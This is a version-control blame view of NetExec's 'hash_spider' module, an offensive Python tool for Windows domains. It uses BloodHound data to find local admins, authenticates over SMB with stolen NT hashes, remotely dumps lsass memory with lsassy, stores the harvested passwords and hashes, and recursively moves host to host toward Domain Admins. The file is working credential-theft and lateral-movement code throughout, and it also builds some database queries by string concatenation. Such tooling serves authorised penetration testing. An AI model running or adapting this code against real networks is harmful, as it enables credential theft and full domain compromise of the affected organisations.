NetExec/nxc/modules/hash_spider.py

313 lines
14 KiB
Python
Raw Normal View History

#!/usr/bin/env python3
# Author: Peter Gormington (@hackerm00n on Twitter)
2023-03-30 19:11:55 +00:00
import logging
from sqlite3 import connect
2022-07-16 14:20:51 +00:00
from sys import exit
2022-01-31 20:18:47 +00:00
from neo4j import GraphDatabase, basic_auth
from neo4j.exceptions import AuthError, ServiceUnavailable
from lsassy.dumper import Dumper
from lsassy.parser import Parser
from lsassy.session import Session
from lsassy.impacketfile import ImpacketFile
credentials_data = []
found_users = []
reported_da = []
2023-03-30 19:11:55 +00:00
2022-07-16 14:20:51 +00:00
def neo4j_conn(context, connection, driver):
2023-05-02 15:17:59 +00:00
if connection.config.get("BloodHound", "bh_enabled") != "False":
context.log.display("Connecting to Neo4j/Bloodhound.")
2022-01-31 20:18:47 +00:00
try:
session = driver.session()
2022-07-16 14:20:51 +00:00
list(session.run("MATCH (g:Group) return g LIMIT 1"))
context.log.display("Connection Successful!")
2023-09-20 15:59:16 +00:00
except AuthError:
context.log.fail("Invalid credentials")
2023-09-20 15:59:16 +00:00
except ServiceUnavailable:
context.log.fail("Could not connect to neo4j database")
2022-07-16 14:20:51 +00:00
except Exception as e:
context.log.fail("Error querying domain admins")
context.log.debug(e)
2022-01-31 20:18:47 +00:00
else:
context.log.fail("BloodHound not marked enabled. Check nxc.conf")
exit(1)
2022-01-31 20:18:47 +00:00
2023-03-30 19:11:55 +00:00
2022-07-16 14:20:51 +00:00
def neo4j_local_admins(context, driver):
2022-01-31 20:18:47 +00:00
try:
session = driver.session()
2023-05-08 18:39:36 +00:00
admins = session.run("MATCH (c:Computer) OPTIONAL MATCH (u1:User)-[:AdminTo]->(c) OPTIONAL MATCH (u2:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c) WITH COLLECT(u1) + COLLECT(u2) AS TempVar,c UNWIND TempVar AS Admins RETURN c.name AS COMPUTER, COUNT(DISTINCT(Admins)) AS ADMIN_COUNT,COLLECT(DISTINCT(Admins.name)) AS USERS ORDER BY ADMIN_COUNT DESC") # This query pulls all PCs and their local admins from Bloodhound. Based on: https://github.com/xenoscr/Useful-BloodHound-Queries/blob/master/List-Queries.md and other similar posts
context.log.success("Admins and PCs obtained")
except Exception as e:
context.log.fail(f"Could not pull admins: {e}")
return None
return list(admins.data())
2022-01-31 20:18:47 +00:00
2023-03-30 19:11:55 +00:00
2022-07-16 14:20:51 +00:00
def create_db(local_admins, dbconnection, cursor):
2023-05-08 18:39:36 +00:00
cursor.execute("""CREATE TABLE if not exists pc_and_admins ("pc_name" TEXT UNIQUE, "local_admins" TEXT, "dumped" TEXT)""")
2022-01-31 20:18:47 +00:00
for result in local_admins:
2023-05-02 15:17:59 +00:00
cursor.execute(
"INSERT OR IGNORE INTO pc_and_admins(pc_name, local_admins, dumped) VALUES(?, ?, ?)",
(
result.get("COMPUTER"),
str(
result.get("USERS"),
),
"FALSE",
),
)
2022-01-31 20:18:47 +00:00
dbconnection.commit()
2023-05-08 18:39:36 +00:00
cursor.execute("""CREATE TABLE if not exists admin_users("username" TEXT UNIQUE, "hash" TEXT, "password" TEXT)""")
2022-01-31 20:18:47 +00:00
admin_users = []
for result in local_admins:
2023-05-02 15:17:59 +00:00
for user in result.get("USERS"):
2022-01-31 20:18:47 +00:00
if user not in admin_users:
admin_users.append(user)
for user in admin_users:
cursor.execute("INSERT OR IGNORE INTO admin_users(username) VALUES(?)", [user])
2022-01-31 20:18:47 +00:00
dbconnection.commit()
2023-03-30 19:11:55 +00:00
2022-07-16 14:20:51 +00:00
def process_creds(context, connection, credentials_data, dbconnection, cursor, driver):
if connection.args.local_auth:
2023-05-02 15:17:59 +00:00
context.log.extra["host"] = connection.conn.getServerDNSDomainName()
else:
2023-05-02 15:17:59 +00:00
context.log.extra["host"] = connection.domain
context.log.extra["hostname"] = connection.host.upper()
2022-01-31 20:18:47 +00:00
for result in credentials_data:
2023-05-02 15:17:59 +00:00
username = result["username"].upper().split("@")[0]
2022-01-31 20:18:47 +00:00
nthash = result["nthash"]
password = result["password"]
if result["password"] is not None:
2023-05-08 18:39:36 +00:00
context.log.highlight(f"Found a cleartext password for: {username}:{password}. Adding to the DB and marking user as owned in BH.")
2023-05-02 15:17:59 +00:00
cursor.execute(
2023-05-08 18:39:36 +00:00
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
2023-05-02 15:17:59 +00:00
[password],
)
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
2022-01-31 20:18:47 +00:00
dbconnection.commit()
session = driver.session()
2023-05-08 18:39:36 +00:00
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
if nthash == "aad3b435b51404eeaad3b435b51404ee" or nthash == "31d6cfe0d16ae931b73c59d7e0c089c0":
context.log.fail(f"Hash for {username} is expired.")
elif username not in found_users and nthash is not None:
2023-05-08 18:39:36 +00:00
context.log.highlight(f"Found hashes for: '{username}:{nthash}'. Adding them to the DB and marking user as owned in BH.")
2022-01-31 20:18:47 +00:00
found_users.append(username)
2023-05-02 15:17:59 +00:00
cursor.execute(
2023-05-08 18:39:36 +00:00
"UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'",
2023-05-02 15:17:59 +00:00
[nthash],
)
2022-01-31 20:18:47 +00:00
dbconnection.commit()
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
2022-01-31 20:18:47 +00:00
session = driver.session()
2023-05-08 18:39:36 +00:00
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
paths = list(path_to_da.data())
2022-01-31 20:18:47 +00:00
for path in paths:
if path:
for value in path.values():
2022-01-31 20:18:47 +00:00
for item in value:
if isinstance(item, dict):
2023-05-02 15:17:59 +00:00
if {item["name"]} not in reported_da:
2023-05-08 18:39:36 +00:00
context.log.success(f"You have a valid path to DA as {item['name']}.")
2023-05-02 15:17:59 +00:00
reported_da.append({item["name"]})
2022-07-16 14:20:51 +00:00
exit()
2022-02-01 17:43:27 +00:00
2023-03-30 19:11:55 +00:00
2022-07-16 14:20:51 +00:00
def initial_run(connection, cursor):
2022-02-01 17:43:27 +00:00
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
2023-05-02 15:17:59 +00:00
cursor.execute(
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
[password],
)
cursor.execute(
"UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'",
[nthash],
)
2022-02-01 17:43:27 +00:00
2023-03-30 19:11:55 +00:00
class NXCModule:
name = "hash_spider"
2023-05-08 18:39:36 +00:00
description = "Dump lsass recursively from a given hash using BH to find local admins"
supported_protocols = ["smb"]
2022-01-31 20:18:47 +00:00
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.reset = None
self.reset_dumped = None
self.method = None
@staticmethod
def save_credentials(context, connection, domain, username, password, lmhash, nthash):
host_id = context.db.get_computers(connection.host)[0][0]
if password is not None:
credential_type = "plaintext"
else:
credential_type = "hash"
password = ":".join(h for h in [lmhash, nthash] if h is not None)
context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id)
2022-01-31 20:18:47 +00:00
def options(self, context, module_options):
"""
2023-03-30 19:11:55 +00:00
METHOD Method to use to dump lsass.exe with lsassy
RESET_DUMPED Allows re-dumping of hosts. (Default: False)
RESET Reset DB. (Default: False)
2022-01-31 20:18:47 +00:00
"""
2023-05-02 15:17:59 +00:00
self.method = "comsvcs"
if "METHOD" in module_options:
self.method = module_options["METHOD"]
self.reset_dumped = module_options.get("RESET_DUMPED", False)
self.reset = module_options.get("RESET", False)
2023-05-08 18:39:36 +00:00
def run_lsassy(self, context, connection, cursor): # copied and pasted from lsassy_dumper & added cursor
2023-03-30 19:11:55 +00:00
# lsassy uses a custom "success" level, which requires initializing its logger or an error will be thrown
# lsassy also removes all other handlers and overwrites the formatter which is bad (we want ours)
2023-03-30 19:11:55 +00:00
# so what we do is define "success" as a logging level, then do nothing with the output
2023-05-02 15:17:59 +00:00
logging.addLevelName(25, "SUCCESS")
logging.success = lambda message, *args: ()
2022-01-31 20:18:47 +00:00
host = connection.host
domain_name = connection.domain
username = connection.username
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
session = Session()
session.get_session(
address=host,
target_ip=host,
port=445,
lmhash=lmhash,
nthash=nthash,
username=username,
password=password,
2023-05-02 15:17:59 +00:00
domain=domain_name,
2022-01-31 20:18:47 +00:00
)
if session.smb_session is None:
2023-05-08 18:39:36 +00:00
context.log.fail("Couldn't connect to remote host. Password likely expired/changed. Removing from DB.")
cursor.execute(f"UPDATE admin_users SET hash = NULL WHERE username LIKE '{username}'")
2022-01-31 20:18:47 +00:00
return False
2022-07-16 14:20:51 +00:00
dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method)
2022-01-31 20:18:47 +00:00
if dumper is None:
2023-09-24 04:06:51 +00:00
context.log.fail(f"Unable to load dump method '{self.method}'")
2022-01-31 20:18:47 +00:00
return False
file = dumper.dump()
if file is None:
context.log.fail("Unable to dump lsass")
2022-01-31 20:18:47 +00:00
return False
2022-07-16 14:20:51 +00:00
credentials, tickets, masterkeys = Parser(file).parse()
2022-01-31 20:18:47 +00:00
file.close()
ImpacketFile.delete(session, file.get_file_path())
if credentials is None:
credentials = []
2023-05-08 18:39:36 +00:00
credentials = [cred.get_object() for cred in credentials if not cred.get_username().endswith("$")]
2022-01-31 20:18:47 +00:00
credentials_unique = []
credentials_output = []
for cred in credentials:
2023-05-02 15:17:59 +00:00
if [
cred["domain"],
cred["username"],
cred["password"],
cred["lmhash"],
cred["nthash"],
] not in credentials_unique:
credentials_unique.append(
[
cred["domain"],
cred["username"],
cred["password"],
cred["lmhash"],
cred["nthash"],
]
)
credentials_output.append(cred)
self.save_credentials(context, connection, cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"])
2022-01-31 20:18:47 +00:00
global credentials_data
credentials_data = credentials_output
return None
2022-01-31 20:18:47 +00:00
2022-07-16 14:20:51 +00:00
def spider_pcs(self, context, connection, cursor, dbconnection, driver):
2022-01-31 20:18:47 +00:00
cursor.execute("SELECT * from admin_users WHERE hash is not NULL")
compromised_users = cursor.fetchall()
2023-05-08 18:39:36 +00:00
cursor.execute("SELECT pc_name,local_admins FROM pc_and_admins WHERE dumped LIKE 'FALSE'")
2022-01-31 20:18:47 +00:00
admin_access = cursor.fetchall()
for user in compromised_users:
for pc in admin_access:
if user[0] in pc[1]:
2023-05-08 18:39:36 +00:00
cursor.execute(f"SELECT * FROM pc_and_admins WHERE pc_name = '{pc[0]}' AND dumped NOT LIKE 'TRUE'")
2022-01-31 20:18:47 +00:00
more_to_dump = cursor.fetchall()
if len(more_to_dump) > 0:
2023-05-08 18:39:36 +00:00
context.log.display(f"User {user[0]} has more access to {pc[0]}. Attempting to dump.")
2023-05-02 15:17:59 +00:00
connection.domain = user[0].split("@")[1]
connection.host = pc[0].split(".")[0]
connection.username = user[0].split("@")[0]
connection.nthash = user[1]
connection.nthash = user[1]
2022-01-31 20:18:47 +00:00
try:
self.run_lsassy(context, connection, cursor)
2023-05-08 18:39:36 +00:00
cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'")
2023-05-02 15:17:59 +00:00
process_creds(
context,
connection,
credentials_data,
dbconnection,
cursor,
driver,
)
2023-05-08 18:39:36 +00:00
self.spider_pcs(context, connection, cursor, dbconnection, driver)
2022-01-31 20:18:47 +00:00
except Exception:
context.log.fail(f"Failed to dump lsassy on {pc[0]}")
2022-01-31 20:18:47 +00:00
if len(admin_access) > 0:
2023-05-08 18:39:36 +00:00
context.log.fail("No more local admin access known. Please try re-running Bloodhound with newly found accounts.")
2022-07-16 14:20:51 +00:00
exit()
2023-03-30 19:11:55 +00:00
2022-01-31 20:18:47 +00:00
def on_admin_login(self, context, connection):
db_path = connection.config.get("nxc", "workspace")
# DB will be saved at ./NetExec/hash_spider_default.sqlite3 if workspace in nxc.conf is "default"
db_name = f"hash_spider_{db_path}.sqlite3"
2023-05-02 15:17:59 +00:00
dbconnection = connect(db_name, check_same_thread=False, isolation_level=None)
2022-07-16 14:20:51 +00:00
cursor = dbconnection.cursor()
if self.reset:
try:
cursor.execute("DROP TABLE IF EXISTS admin_users;")
cursor.execute("DROP TABLE IF EXISTS pc_and_admins;")
context.log.display("Database reset")
exit()
except Exception as e:
context.log.fail("Database reset error", str(e))
exit()
2023-03-30 19:11:55 +00:00
if self.reset_dumped:
try:
cursor.execute("UPDATE pc_and_admins SET dumped = 'False'")
context.log.display("PCs can be dumped again.")
except Exception as e:
context.log.fail("Database update error", str(e))
exit()
2023-05-02 15:17:59 +00:00
neo4j_user = connection.config.get("BloodHound", "bh_user")
neo4j_pass = connection.config.get("BloodHound", "bh_pass")
neo4j_uri = connection.config.get("BloodHound", "bh_uri")
neo4j_port = connection.config.get("BloodHound", "bh_port")
neo4j_db = f"bolt://{neo4j_uri}:{neo4j_port}"
2023-05-08 18:39:36 +00:00
driver = GraphDatabase.driver(neo4j_db, auth=basic_auth(neo4j_user, neo4j_pass), encrypted=False)
2022-07-16 14:20:51 +00:00
neo4j_conn(context, connection, driver)
admin_results = neo4j_local_admins(context, driver)
2022-07-16 14:20:51 +00:00
create_db(admin_results, dbconnection, cursor)
initial_run(connection, cursor)
context.log.display("Running lsassy")
self.run_lsassy(context, connection, cursor)
2023-05-08 18:39:36 +00:00
process_creds(context, connection, credentials_data, dbconnection, cursor, driver)
context.log.display("🕷️ Starting to spider 🕷️")
2022-07-16 14:20:51 +00:00
self.spider_pcs(context, connection, cursor, dbconnection, driver)